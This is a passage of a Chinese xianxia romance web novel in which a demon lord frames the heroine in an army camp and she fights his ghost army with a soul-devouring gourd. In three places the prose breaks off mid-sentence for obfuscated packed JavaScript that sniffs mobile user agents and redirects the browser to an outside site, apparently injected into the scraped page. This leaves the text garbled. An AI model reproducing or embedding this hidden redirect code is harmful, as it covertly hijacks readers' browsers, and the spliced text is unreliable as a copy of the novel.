又是一声低笑,然后他的呼吸就轻浅了下去,璃音想他应该是睡着了。 第二天晚上,璃音照旧出去,给整个军营种下了她的哐哐复原大阵。 回去的时候,慕璟明仍旧是披着衣服等她。 她依然不知道该如何向他解释自己的去处。 他也依然没有向她讨要任何的解释,平静地为她拿走塞铃铛的布条,然后揽她入睡。 只是在她以为慕璟明已经睡着的时候,却又突然感觉他握着自己的手紧了紧,有极低极轻的字音随他微颤的胸腔被传了过来:“阿璃,回来就好。” 到第三天,芋郎君已经不能吃了。 璃音颇为惋惜,又舍不得扔掉,她正自捧着芋头小人在帐外踌躇,却忽地发现守兵今日看她的眼神格外古怪。 没过一会儿,就见一个将领模样的人带着一个畏畏缩缩的小兵,风风火火赶了过来。 璃音对于不关心的人实在记忆力有限,为了让慕璟明安心,也从来不打听军营中的人和事,故而并不认得大步流星走来她面前的这两人。 只听那将领模样的人指着她向那小兵道:“是她吗?” 小兵缩着脖子,头却点得猛如捣蒜:“是。” 然后一面头枷就要兜头钉下来。 璃音虽然不知道发生了什么事,但显然不是什么好事。 她只用了三分力,“轻轻”从那将领模样的人手里将枷锁拿走,看着那人瞬间黑下去、仿佛受到了什么天大侮辱的脸色,茫然道:“发生什么事了?” 76. 第75章 挑拨 璃音没想到自己真有被指认成奸细的一天,甚至还“人证”、“物证”俱全。 “刘副使,就是她,冬至那天,我亲眼看见她进的厨房。”小兵眼尖地往璃音手上一指,“你看她手里那个芋头酥,就证明她去过。” 璃音捏紧手中的芋郎君,一脸莫名其妙:“芋头酥怎么了,不许吃?” “前天吃完芋头,营里几十个士兵都中毒了,你自己投的毒,你不知道?”刘副使冷哼一声,罪名就这么劈头盖脸扣了下来。 这事璃音还真不知道。 前天晚上,她一门心思都在东海那边,哪有什么闲心去关心几十个陌生人的肠胃状况,慕璟明又没和她提过,她当然不知道了。 “中毒啊……”璃音冷俏的脸上含着不达眼底的笑意,是她微怒时一贯会出现的表情,“那都死了吗?” “你!”刘副使见了她这不把人命当一回事的态度,气得讲话都结巴了,“毒妇!毒妇!你果然!你果然是想毒死他们!” “看来是没死。” 璃音抬手,将头枷扔回给刘副使,唇边笑意散去,终于只剩下脸上一片玉寒冷意:“没死人来叫唤什么,这两天又不打仗,我做什么要投毒,而且就算要投毒?我为什么不直接毒死你们的慕小侯爷,毒了那几个小喽啰又能成什么事。我看你还不如去查查是不是有哪锅芋头没煮熟。” 完全是一口“能不能麻烦你动点脑子”的嫌弃语调。 刘副使闻言噎了一下,心里竟觉得她说得好有道理。 小兵极快地抬头,目光在少女冷玉清寒的脸上飞掠而过,不作一丝停留,便又埋下脸去,低头缩脖,颤巍巍捧上一沓符纸。 “刘副使,还有……还有昨晚我巡夜时,也看到她鬼鬼祟祟的,在营里各个地方摸来转去,我悄悄跟在后面,就……就捡到了这些。” 璃音骤然侧眸,向那浑身战战兢兢的小兵望去。 面上的冷意终于将嗓音也浸透:“你说你昨天晚上看到我了?” “是。”小兵仍是低着头,纤薄的肩头轻颤,十分害怕的模样。 璃音的眸色却彻底沉了下去。 为了不给慕璟明惹上麻烦,她这两天晚上在帐外行动时,一直是小心隐去身形的。 普通的凡人绝无可能看到她在做什么。 除非。 这人并非凡人。 那些符纸虽不是她放的,但上面画的,全是凶险之极的破神驱魂之咒。若非她更早地在营中埋下了守灵护身的阵法,恐怕如今此处已是游魂遍地了。 刘副使一把抓过那些符纸,急切得仿佛抓来手里的是眼前这毒妇的小辫子:“这你还有什么话说?大半夜的在营里装神弄鬼,搞这些歪魔邪道的东西。” 说着猛地将头枷往小兵手里一塞,高声下令:“铐走!” “可是刘副使……” 小兵清瘦的胳膊抱着那面头枷,怯声开口。 同时飞快抬头看了璃音一眼。 璃音倏然捏紧了指骨。 她的视线一直牢牢锁在那小兵的身上,所以没有错过方才与那人匆匆的一眼对望。 那是一张干净清秀到极致的脸,清秀到不像在这军营里当兵的。 而在他向她望来的那一眼里,分明没有恐惧,没有探究,而只有赤裸的挑衅。 狐狸般狭长的眼尾甚至闪过一抹谑笑。 而此刻他却又懦懦地把头埋得更低,抖着他那纤弱瘦薄的身子,细声细气地道:“这样……会叫小侯爷为难的吧?” 璃音瞳孔寒彻,将他的一举一动全都死死盯住。 这个人,他在装! 这话也根本不是说给刘副使,而是说给她听的。 今日慕璟明随武宁侯外出巡防了,不在营中。 或许他就是挑准了这个时间,来向刘副使告发她的。 而他适才那句就是在提醒她,乖乖认罪,不要让慕璟明为难。 他仿佛洞悉一切,也准备好了一切,甚至知道她愿意为慕璟明做到何种地步。 而她也确实愿意为了小七做到这种地步。 刘副使当然听不出这些话外之音,踢一脚发抖的小兵,喝声催促:“怕什么,有侯爷在上面,为个女人,他还翻不了天。” “要翻天的是刘副使吧,轮得到你在背后编排小侯爷。” 璃音冷笑一声,夺过刘副使手中符纸,将那一沓催命的鬼符都捏碎了扬在风里。 “这些符不是我画的,不过你们可以把我关到慕璟明回来。” 然后定定望向那个缩着肩膀,哆嗦抱枷的小兵,乖乖伸出了手腕。 军营中不是个能和他动手斗法的地方,她不知此人是个什么来历,不知他本事如何,也不知道他搞出这一出的目的究竟是什么。 不若静观其变,等晚上引他出去,再单独探他一探。 “姑娘,得罪了。”小兵仍旧哆嗦上前,抖着手将头枷给她铐上,温热的吐气却顺着他欺近的身子,极轻地喷洒在了璃音后颈,“姑娘对神君真是一往情深,本尊看着都要被感动了。” 璃音瞳色骤僵。 小兵背对着刘副使,轻柔地替她捞出被压在枷锁下的发丝,狭长的眸子里烁动着危险的寒芒,用只有他们两人能听到的声音,仿佛叹息一般在她耳边说着:“被心爱的姑娘背叛,光是想想本尊都心痛了,真期待看到那位神君的反应,他会杀了你吗?真残忍,不过这也是没办法的事,谁让你们两个都这么难杀,他不杀你,本尊要如何杀了他呢?” 他牵动枷锁,把她牵进营地里露天的一间木栅牢笼,看璃音死咬着下唇瞪向自己的样子,一面落锁,一面用那狭长凤眸挑眼望她。 “小美人这是觉得屈辱?”戏谑薄凉的嗓音被他用通灵诀传音至璃音耳中,“本尊与你无冤无仇,你却接连折损我三万精锐,你说这笔账,本尊讨得怎么样?” 璃音确实觉得屈辱。 但更多的,是被眼前人的身份搅弄起的不安。 在这个时间点上,行事阴恻鬼昧,还自称本尊的,还能是哪个尊。 只能是那位曾在幽冥司不晒太阳几百年,正一路打上九重天的魔尊了。 他竟如此惧怕摇光的归位,惧怕到亲临凡世,扮作荒唐的小兵,又玩这种低劣的陷害手段要让她和慕璟明离心,只为方便取了摇光的神魂性命。 这位魔尊真不愧是看多了生死冥簿的,习得世情百态,人心利害,打架打不过,就来搓弄这些挑拨离间的事。 “无聊。”璃音怒瞪他转身而去的背影,嗤笑着传回两个字。 但不得不承认,他这挑弄人心的功夫确实厉害。 慕璟明本就默认她是敌国派来的细作,她又总有这样那样的事解释不清,这一番下来,他真还能对她毫无芥蒂么。 她其实心里也有点没底。 一想到小七眼中可能流露出的那些失望,甚至是厌恶的情绪,她就觉得脏腑里如有千百只小蚁啃爬,胃里也翻江倒海地难受,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044432|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点想吐。 她这才发现一直攥在手里的芋郎君不知何时不见了。 许是掉在哪处地上了吧。 这么想着,就又有些想吐。 明明没有吃坏掉的芋头,她怎么好像也中毒了。 慕璟明下午回来的时候,日头已坠过大半,残霞铺满暮色,红得像一抹浓血。 听到他和武宁侯回营的动静,璃音直了直脊背。 喝问,斥诘,对质……通通放马过来好了。 她做好了迎接一场大麻烦的准备。 然而什么麻烦也没有。 事情结束得快到她还没反应过来,就已经被慕璟明凛寒着眉眼,一剑劈开她身上耻辱的木枷,拉着手快步牵回帐中了。 她甚至连武宁侯的面都没见到。 慕璟明看起来是很生她的气的,但他把她扔回帐里,也不同她说话,就又转身匆匆出去了。 直到半夜他才携了满身的冷霜回来。 璃音知道他是处理她的事情去了,虽然不知道他是怎么处理的,但他没有抓她起来,也没有赶她出去,这似乎是个好的信号,可是看他一言不发,也没什么表情地站在那里把她望着,心里终归有些忐忑。 她走过去拉住他的衣袖,低垂了眸:“我错了。” 慕璟明被她扯着袖子晃了晃,仍只是沉眉看她,半晌,终于冷着声开了口:“错哪了?” “第一,身上需时刻佩戴响铃,第二,没有你的允许,不许在军营里随意走动,第三,不得接触任何士兵们要入口的东西。” 璃音掰着手指,细数他当初给她定下的三条规矩,数完后,便又低下头去,小小声道:“你的提醒,我一条也没遵守。” 她现在才明白,这些规矩看似是在防她,其实也是在保护她。 “还有呢?” “还有?” 璃音看着慕璟明阴寒不定的脸色,歪头努力想了半天,但实在想不出她还做错了什么,恼着了这位小侯爷。 只好再轻轻拽一拽他的袖子,斟酌着他的神色,试探着问:“要不然,给点提示?” 望见她毫不作伪的期待又懵懂的眼神,慕璟明绷直的唇线终于有了松动。 他又好气又好笑地去握住她攀在自己袖子上的手:“为什么让刘副使给你戴上那种东西,难道你打不过他?” 璃音有轻微的怔然,她没想到慕璟明是在为了这个生气。 让头枷钉住,像关什么不需要尊严的野兽一样,被关进露天的牢笼…… 她怎么可能打不过刘副使,她只是不想要慕璟明为难而已。 为了他,所以平静地接受了平日绝不可能忍受的屈辱。 璃音抬眸去寻他此刻的目光,除去那些气恼,她在里面看到了好多珍重的、柔软的、闪着晶莹碎光的东西,让她比任何时候都觉得自己有在被好好对待。 她从慕璟明的眼神中确认到了,他不希望她再这么做。 “下次再有人这样对你,要打跑他们,知道了吗?” 她很想点头,可是…… “可是我要是打了军队里的人,你怎么办?”璃音吸了吸有些酸胀的鼻子,“肯定会让你为难的,我今天是不是就让你为难了?一个来历不明的人,要为我辩解,真的很难吧。” 她不等他回答,又一股脑问出了那个让她想吐了一下午的问题:“还有……难道你就一点都不怀疑我吗?其实这两天晚上我去做了什么,你也根本都不知道,不是吗?” 77. 第76章 他会听话 璃音问出这些问题,其实也没打算听到“确实有所怀疑”以外的答案。 毕竟只要是个正常人,怎么可能不对她有所怀疑? 她只是想要趁着今夜此问,向慕璟明和盘托出一切。 她是谁,来自哪里,又来做什么……所有这一切,她都想要完完整整,全都告诉他。 哪怕这些话听在凡人耳中可能会显得有点荒诞,甚至很像是在编造神鬼之事为自己脱罪,但她从来都不是个擅长说谎的人,她不可能瞒得住,也不想再瞒着他了。 更遑论如今魔尊都已亲身追到了此处,慕璟明对这些知道得越多,才越安全。 谁知慕璟明只是轻描淡写地答道:“怎么不知道,不是睡不着,去海边散步了么?” 璃音微怔。 这是自己前天夜里回去后,半真半假应付慕璟明的一句说辞。 但其实真要从军营走到海边,没几个时辰根本走不到,普通人哪能这么快就走了一个来回。 这样蹩脚的说辞,他怎么可能真信? 可看他眸光清澄透澈,好像真把那句话当真了,璃音不禁眨了眨眼,十分认真地担忧道:“小七,你这样要被人骗的。” 见眼前少女一脸忧心关切的神情,慕璟明眼底的最后一丝恼意都被抽走,话音里都染上一声轻笑:“怎么,你要骗我?” “我当然不会骗你了,我是说别人,别人!”璃音一想到那个行事诡谲、惯爱挑拨人心的魔尊,心里就发毛,忙一把攥住慕璟明的衣襟,开始耳提面命,“外面坏人很多,你不能什么人都相信的!” 慕璟明轻笑着抬手,顺势把着了急的少女扣入怀中。 这个世上每人每天都在说话,真真假假,人话鬼话,管你要不要听,就成筐地往你耳朵里灌。 但阿璃好像不知道,于他而言,那些字音很久都没有真正地重要过了,甚至这人间里的一切,在很长一段时间里,在她那晚去林中找到他,并回吻住他之前,都只是一片蜃楼幻影般的缥缈虚无。 父母、亲朋、享乐……他对这世间的一切都没有过多的留恋,他只是安静地活着,吃饭,睡觉,恭顺父母,乃至领兵上阵,都只是在做他活着就不得不做的事。 万物嬉闹,人世纷攘,他却像站在与这些热闹隔了一条河的对岸,冷眼旁观一场无声绚丽的烟火。 然后就听见她隔着岸,招手一声声喊他的名字,把他牵回了这人间。 “我知道,我只听你告诉我的。”他低头,依恋地蹭进牵他回来的少女的颈窝。 他当然会听她的话,也只能听见她的话。 就算是骗他哄他也没关系,只要这样费尽心思的哄骗是专为他一人的,怎么不是另一种叫人兴奋到战栗的欢愉呢? 哪怕他查了两天她口中的家乡特色“芋郎君”,却根本查不出这是哪个地方的吃食。 但这又有什么关系。 重要的是她说过,她会对他好的。 所以有怀疑又怎么样,他终归还是会听她的话的。 “至于为难,是有一点。”他埋首在她冷香袭人的颈窝,没有喝酒,嗓音却仿佛沾了点醉意,“若是能有一个身份的话,或许就不会这么为难了。” “身份?” 是要给她编造一个身世么? 璃音一时没太理解这话中的意思,只觉得此刻的慕璟明像一只阖眸趴在她肩上,全身心都依赖着她,等着她来摸一摸他油亮毛皮的小动物,格外听话,分外温顺。 他这样温声乖巧地同她讲话,让她有种回到了九百年后,在与神君说话的错觉。 见怀中少女没有反应过来,刚刚还乖顺无比的小狼就微微炸起一点毛,撤身去袖子里掏出一封信来,瓮声:“小舅舅今日来信了。” “楚公子?”璃音接过慕璟明递来的信件,有些不明所以。 话题转变得过于跳脱了,身份的事还没说完,怎么又突然拿了一封信出来? 但出于好奇和礼节,她还是展开信纸,读了起来。 信里所写的内容,就如慕璟明在旁边淡声说的那样:“没别的,就说了他和蜀娘子要在下个月成亲的事。” 少年语气轻淡,望向少女的眼神却灼烈。 “下个月就要成亲了啊,这顿喜酒我们是喝不……” 话到一半,璃音抬眼对上慕璟明炽热的目光,不禁怔了一怔,剩下的半截话也不说了,因为她在这个眼神中彻底读懂了之前那句“身份”的意思。 霎时间,呼吸比脑子更先乱了起来,许是方才读了太多楚作戎关于婚后生活的美好遐想,什么两儿两女,儿女双全,也不知触发了她体内的什么机关,急得脱口道:“我……我不喜欢小孩。” 这下轮到慕璟明微微怔住了,他一时似乎没有反应过来,片刻后,忽地眨一眨眼,眼底笑意铺开:“原来阿璃都想到那么远了。” 璃音尴尬得恨不得把自己的舌头咬了,却又听慕璟明玩味地道:“没关系,那种东西,我也没有很喜欢,反正有父亲留的那么多种,武宁侯府的香火也压不到我们身上……” “你这话可真够孝顺的。”璃音红着脸去捂住了慕璟明的嘴,生怕他再说出什么更孝顺的话来。 但想到他和她在一起的心意是那样纯粹,无关前人后代,无关子嗣香火,心里就酥酥麻麻地泛出点甜。 但同时也生出了一点涩。 她是不能嫁慕璟明的,再喜欢也不能。 慕璟明自有宗祠史书上记载好了的妻子,甚至很可能像楚作戎那样和妻子留下了后代,一直留到了九百年后。她有什么资格这样横插进来,去扰乱九百年后那个已成定局的世界? 可是一想到他以后会和别人成亲,幸福地抚养和别人生的孩子,胃里那种迫得她欲呕的翻搅就又开始了。 “怎么了,不舒服?”慕璟明看她倏然苍白下去的脸色,忙抬手替她将身上的斗篷拢了拢,“是不是今天在外面受凉了?” 璃音勉力压下胃里的那些不适,轻轻摇头:“我没事。” 她仰颈去看慕璟明漂亮到有些张扬的眉眼,忽道:“就是想到芋郎君没了,有点难过。” “为了一个芋头?” 被慕璟明挑眉一望,璃音就不服气地道:“这可是一个雕着小七的芋头!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057083|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 慕璟明看她是真的难过,微一沉吟,从腰间解下一块坠玉,就拉着少女一起坐下:“来。” 然后璃音就看见他拔出腰间匕首,在玉石上凿刻起来。 没了芋郎君,他这是要雕还一个玉郎君给她么? 看刻刀映着煌煌烛火在慕璟明的指间翻飞,璃音支起下巴,觉得再没有比此时更好的、向他袒露一切真相的时机了。 她反复打了几遍腹稿,终于下定决心,一直背脊,开口道:“小七,我其实……” 帐外却忽然惊呼之声四起,杂乱的脚步声响成一片,让慕璟明也不得不放下了手中刀玉,起身快步出帐查看。 璃音一出去,就见外面一群士兵提着满水的水桶向前方一处狂奔,她抬眼往那处一望,登时面色陡变。 她五感较凡人通达,早已望见一个巡卫装束的小兵滚在地上嘶声吼叫着,他的腿上、背上、肩上、甚至是脸上,全都燃满了幽幽绿火。 那火森冷幽暗,像燃自无间地狱里的无尽鬼火,无论那小兵如何翻滚身躯,也无论多少桶水往他身上浇了过去,都只是浇扑不灭,燃烧不息。 这时一个守兵也跑来向慕璟明禀道:“小侯爷,前边有个巡卫自己烧起来了!” 说完神色怪异地往璃音身上瞟了一眼,却又惧怕什么似的,只匆匆一眼便把视线挪开,赶紧低头给小侯爷带路,快步往事发现场去了。 璃音的脚却像被钉在了原地,就连抬步也不能了。 那火分明不是烧在她的身上,她却浑身烫得有如火烤,小兵扭曲抽搐的面容仿佛能透过那火直达她的眼底,叫她的眼尾也跟着痛苦地抽动起来。 她把指甲深深掐进掌心,却感受不到痛。 只觉得热,好热,心底有什么最痛苦、最阴暗、最恐惧的记忆在模糊着躁动,仿佛下一刻就要被唤醒。 她一直知道自己怕火,但她是因为什么怕火来着? 她为什么记不得了? 但无论她如何恐惧,如何害怕,如何提不起步,她都必须过去。 她若不过去,今晚这里的所有人,可能都要死。 因为在那幽暗绿火之上,正慢悠悠地悬来一只腆着肚子、四处觅食的白玉葫芦。 她试图以主人的身份召唤它,不出所料地没有得到任何回应。 这时候的玉横尚未认主,根本还不认得她是谁。 她深吸一口气,强撑着要抬起僵直的手指,却怎么抬也抬不动。 却忽听得耳边一个清沉的声音戏笑着道:“小美人,还愣着做什么,还不快过去救你的神君?本尊听说那葫芦可是会吃人的。” 璃音冷声:“是你把玉横带来的。” “你也不要怪本尊,谁让白天里那一出没什么作用,本尊也是没有想到,那位神君竟能那么听你的话,简直比养的狗还乖,真好,不过这倒让本尊有了更多折磨他的好点子。” 璃音只见那人狭长的凤眸眯起,语调也随之轻快一扬:“你说就让他最心爱的姑娘,在他面前化魔,杀了全营的人,让他所有痴情坚定的维护,都成为一个彻头彻尾的笑话,这个点子怎么样?” 78. 第77章 抉择 时值岁暮隆冬,海边小小的关镇早已被凛冽霜风吹透了骨,夜幕黑沉,天边翻卷着低低的雷声和看不清形状的阴云,似乎正在赶来将这座小镇笼罩包围。 军营里早已乱作一团。 灼灼冥火看上去幽绿森寒,燃在肌肤之上却比凡火更炽,火苗自一个个士兵的体内突窜而起,不一会儿便有几十个小兵接连自燃,火势并不算大,却一点一点安静又放肆地吞噬着那些在地上不停尖叫扑滚的可怜凡人。 莹润小巧的玉质葫芦冰雪透白,仿佛世上再找不出比它更纯净无暇的东西,此时那细窄的葫芦小口却如活物般收缩蠕颤着,青碧色的光芒亢奋狂闪,像一个饿了肚子的婴孩,对着眼前美味疯狂咂嘴流涎,却又似乎被什么无形的东西牵制住了动作,要等待一个命令,才能开始它的这一顿饱餐。 “芋头里的毒,是你下的。” 少女句尾的音调没有上扬,是一句笃定的陈述。 除了慕璟明,这军营里不过都是些凡人魂魄,那正被冥焰灼烧的小兵更是魂虚体弱,简直像一盆白水煮出来的菜,根本不可能让玉横馋成这副模样。 除非那菜里被人加了对它有着致命吸引力的东西。 比如魔气。 普通的大白馒头被浇淋上肉汁,于是被贪吃的小狗当成了鲜美的肉包。 若不是军营早被璃音用各种阵法层层密密包裹了起来,恐怕今日“自燃”的,就不止是这几十个魂力微弱的小兵,而会是冬至那日吃了芋头的所有人。 “怎么会是本尊下的毒呢?”黑袍男子隐在银色面具下的笑意加深,落在少女肩上的指骨轻敲,随即一根指头微扬,朝前轻轻一指,“你瞧,这些杀人放火的事,分明都是你做的。” 仿佛是在印证他的这句话,一声惊怒交集的大喊立时顺着冷风飘散开来:“是那个妖女,是小侯爷身边那个会画符的妖女!” 璃音认得,那是刘副使的声音。 随着这一声叫喊,霎时间,无数道惶恐惊惧的眼神齐刷刷向璃音这边望了过来。 这一望,却都望了个空。 “小美人在怕什么,怎么躲起来了?”迅速隐藏了身形的少女耳边传来男子戏谑的轻嘲。 “本尊真是好奇,若摇光看到了你现在这副仙不仙、魔不魔的样子,他是会继续爱你呢,还是会砍下你的头呢?” 少女的眼底不知何时已被赤红染遍。 她缓抬起盈满血光的双眸,看到慕璟正明目光焦急地寻找着她的身影,疾步向这边走来。 她确实不愿、甚至可以说是害怕被人看到自己的这副模样,所以才下意识就隐去了身形。 但是小七么…… 耳边浮现出他今晚那两句带了恼意的轻斥。 ——“为什么让刘副使给你戴上那种东西,难道你打不过他?” ——“下次再有人这样对你,要打跑他们,知道了吗?” 璃音看着慕璟明疾奔而来的身影,见火后便一直僵硬着的躯体终于软和下来。 “知道了。” 迟来的回答轻散在晚风之中。 少女闭目宁定一瞬,睁眸的同时迅速抬手叩印,惊叫之声止歇,幽冥鬼火俱灭,扑腾的手脚静止在半空不动,纷杂的脚步声停下,整个混乱喧闹的军营都立时陷入一种死水无波一般的沉寂。 黑袍男子唇边的笑意一滞,搭在少女肩头的五指随身体飞撤,却还是慢了一步,一道青红交错的结界自少女脚下迅猛张开,顷刻便将两人都牢牢裹覆在了其中。 “我也不知道神君看到我这样会如何。” 璃音转身望向被她困在结界中的男子,那赤色的瞳孔分明已被殷红浸透,却不见一丝浑浊妖魅,仍旧清亮明澈,仿似两颗剔透晶莹的血琉璃。 她歪一歪头,向那位叫整个九重天都变了颜色的魔尊勾唇笑道:“但他一定会问我怎么还没砍下你的头。” 说着,灵巧的手腕一翻一握,就握出一条灵力织就的暗红长链,望地一甩,甩出啪的一声脆响。 那链条如同刚在火里淬过,链身被炙得通红,还在噼噼啪啪不停向外迸溅着血红的灵光,仿佛锤铁时四散迸射的火星。 “小美人果真厉害,连魂链都修出来了,只是看样子,你比我更像魔一点呢。” 黑袍男子轻笑着将腕骨一抖,一条幽绿的灵链便也自空中显现出来,那链条一端紧缠在他苍白瘦削的腕上,另一端系着的,正是那只悬在半空,留着口水等开餐的白玉葫芦。 凡天下的无主灵器,一旦被魂链拴住,虽不认主,却也只能暂时对魂链的主人言听计从。 璃音见男子操控着玉横的魂链显形,冷笑:“魔尊过谦了,这样阴毒的术法,若不是您先使了出来,我还想不起来要用呢。” 黑袍男子闻言,竟像是受了极大的夸赞一般,瘦薄的肩膀一阵细颤,竟是笑了:“还有更阴毒的呢。” 说罢勾出小指,就去魂链上轻轻一拨,一道暗绿灵光就顺着光滑的链身,从那被拨弄的一点向着另一端的玉横急窜而去。 璃音面色微变,右腕疾抖,转身将赤红长链甩出,链身宛若灵蛇,一路缠贴着绿色魂链,旋绕而上,飞速追上那一道去催玉横吃人的暗绿灵光,便缩身一紧,只听嘶啦一声,那道绿光已被红链硬生生地截灭。 见传出的魂令被消,黑袍男子先是冷哼一声,随后不知想起什么,望了望天上,忽又笑道:“这葫芦到底不如自己的兵听话。” “你还做了什么?” 璃音看男子笑得诡异,忙仰头向天望去。 夜色遮掩住了大片大片悄然靠近的浓黑阴云,但璃音还是看见了,在那黑云之上,载着的是根本数不清数量的无尽阴兵。 “你疯了!”璃音死死握住掌中魂链,望向眼前笑得一脸森寒的男子,“你们神魔之间闹矛盾要打架,自去九重天上打,但这里是人间,不是属于你们的战场!” 黑袍男子笑着扯动仍然拴在玉横颈上的魂链,缓声道:“本尊也不想杀人的,但是你看,那位神君若是不死,等他回了九重天上,本尊就要死了,这怎么行?” 说着将小指再一次勾缠而上,作势要拨弄那魂链,左手同时望天指了指,续道:“不若这样吧,小美人放本尊过去,让那葫芦将那位神君的魂魄吞吃了,本尊便不叫那些阴兵下来,放过这镇子上的所有人,如何?很划算吧。” 璃音心里有些发麻,这个魔尊,他竟是在拿镇上所有凡人的性命作为要挟,要她交出摇光的魂魄。 任她魂术通天,没有提前部署,也不可能一人抵抗如此数量庞大的阴军,还要同时护下小七和全镇这么多人。 她望向被自己用魂术暂时定住了灵魄的慕璟明,想到这颗星星从此要在夜幕上黯淡下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068261|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心里忽地一阵绞痛。 她闭目摇头,左手猛地将自己的衣服前襟攥作一团。 不,她不能接受。 她不能接受一个没有小七的世界。 真的没有办法了吗? 她真的无法护下所有人了吗? 看眼前少女痛苦地阖上了双眼,不断摇头的样子,黑袍男子唇角微勾,露出了势在必得的笑。 他知道,她一定会做出正确的选择。 谁让她是个好人呢。 在这样的战局里妄图当个好人,注定是要失败的。 胜利总是属于他这样的烂人。 他用小指指尖轻轻摩挲着那根魂链,只等她绝望睁眼,告诉他那个必然的答案。 然而当少女睁开那双血红的双眸时,里面却看不见一丝可以称之为绝望或是挣扎的东西,却充斥着残冷的兴奋,和渴血的欲望,那眸子里仿佛烧着两团无尽的地狱之火,叫嚣着要焚身,要燎原,要灼尽落入她视线中的每一个活物。 这是要入魔了么? “小美人,这是要来本尊麾下效力?”黑袍男子眸光闪烁,指尖向着前方一点,声调戏谑,“便是你来了本尊麾下,那位神君也还是要死的。” 却见少女骤然凌空,掌心红光暴涨,右手里的赤红魂链粗胀数倍,如一条巨大的光蛭,划出的红芒如一道流星撕裂夜空。 啪嗒—— 像是湿软的一摊红泥迎面抛粘上了一个无比坚硬的表面的那种声响。 幽暗绿光被炫目的红芒剿得粉碎,璃音坚实的魂链已代替旧主,牢牢拴束在了玉横的身上。 这毁链夺玉的全部动作不过发生在一息之间,黑袍男子神色陡变,视线和嗓音也跟着阴沉下来:“你以为抢走这个东西,我就没法子杀了他了?” “看来魔尊并不十分了解这个葫芦。” 少女嫣红的唇角轻轻翘起一个弧度,抬手将魂链锁入腕间,并不勾动手指去拨,而是双掌交错,凌空在胸前结出一个赤芒闪动的大印。 天青色的斗篷被寒风吹得鼓在身后,白玉葫芦受到魂令,青碧色寒芒大涨,一张小口疯狂地收缩着悬在少女身前。 灵力催热体内本就沸腾的血液,让它们透过血管在体外蒸发出一层薄薄的血雾。 璃音无视掉这份灼烫带来的剧痛,居高临下地望一眼地上那位魔尊,失血苍白的两片唇瓣轻张,学他的阴阳怪气,清晰而嘲弄地向他吐字:“比起神仙,它更馋你们这些阴鬼啊。” “更重要的是,它是个特别贪吃的家伙,所以……”璃音仰颈,视线扫过上面密布的阴云,眼中红芒热烈地闪动,“无论三万,十万,还是百万……它全都吃得下的。” 说罢,璃音带着玉横飞身直上,冲入云霄,周身血雾如兜天巨网般散开,细密的血丝缠绕勾连,不多不少地将每一个阴兵都锁入她的血色网眼之中。 高空之上,万鬼悲嚎。 却无一个能挣扎逃脱出这片血网。 嗜血魔玉向这群待宰的羔羊张开葫芦小嘴,已准备好迎接这顿真正的饱餐。 “血灵之术……” 黑袍男子猛力冲破结界,眸中燃起两团幽暗绿火,左手腕骨一抖,将腕间一条褐色手绳甩作一支长可接天的软鞭,望空疾射而去。 这女人方才说他疯了。 但他看她才是真的疯了! 79. 第78章 坠海 真正的血灵法阵威力无伦,一旦开启,根本无需玉横,顷刻就能叫阵中数万阴鬼魂飞魄散。 但巨大的威力背后,是同样巨大的代价。 上一世,昆仑十位神巫为镇压恶灵,以神魂为祭,才开得血灵大阵。 但璃音可没打算把自己的魂魄献祭出去。 她只是用血灵之术锁住了这些哀嚎扑腾个不休的东西,让它们逃无可逃,好叫玉横待会儿能一个不剩地吞吃入腹。 毕竟,能活着,又为什么要死呢? 她并没有意识到这个想法对自己而言意味着什么。 只是想起虞姐姐曾笑着说她在这世间没有留恋至深之人,所以才看不懂一些至情至性的羁绊,看不懂山桃为什么要那样执着地替楚雁儿求生。 她想她现在有点懂了。 她终于有了留恋至深的人。 只要牵一牵那人的手,亲一亲他柔软的双唇,就能让他露出那种高兴又欢愉的神色。 那样漂亮的表情,她真是怎么看也看不够,恨不能千千万万年地看下去。 更要命的是,她喜欢的人明明凌厉得像一把兀自伫立的冷剑,但又能那样柔软地依赖她、信任她、需要她,没她就不行一样,叫她整个人都轻飘飘的,受用得不得了。 所以为什么要死呢?她才不要死呢! 但今夜即便不会死,重伤却是难免的了。 她面上虽然不显,但要以一己之力锁住数万强兵终究还是太过勉强了。 身体里的血液几乎要被烧干,喉咙涩得像有粗砂纸在摩,视线也开始模糊,眼前仿佛被蒙上了一层越来越重的雾气,眼皮越来越重,结印的指尖遏制不住地不停发出轻颤。 就快要到极限了。 但是没关系,只要再多等一等,只要等那位魔尊袭身而上。 她实在挤不出任何一点余力去锁住他了,只期着能激他上来,激他自己冲入这片血雾…… 他也确实被血灵之术唬了一下,甩出长鞭,便奔袭而上。 然而行至半空,却忽地望空发出一声冷笑,又折返而下,软鞭轻灵一扬,便缠绕上慕璟明的脖颈。 